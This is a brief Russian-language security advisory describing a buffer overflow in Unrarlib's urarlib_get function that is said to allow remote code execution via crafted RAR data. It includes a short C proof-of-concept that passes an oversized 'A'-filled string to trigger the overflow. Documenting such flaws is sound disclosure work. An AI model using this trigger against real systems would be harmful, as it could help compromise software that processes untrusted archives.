Программа: Unrarlib

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных в функции urarlib_get при обработке RAR архивов. Атакующий может передать специально сформированные данные, что приведет к выполнению произвольного кода.

Пример:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unrarlib.h>

int main()
{
char *data_ptr;
unsigned long data_size;
char *ovf;

ovf = (char *) malloc(262);
memset(ovf, 'A', 260);

urarlib_get(&data_ptr, &data_size, ovf, "test", "password");

// get overflow
return(0);
}



Оставить мнение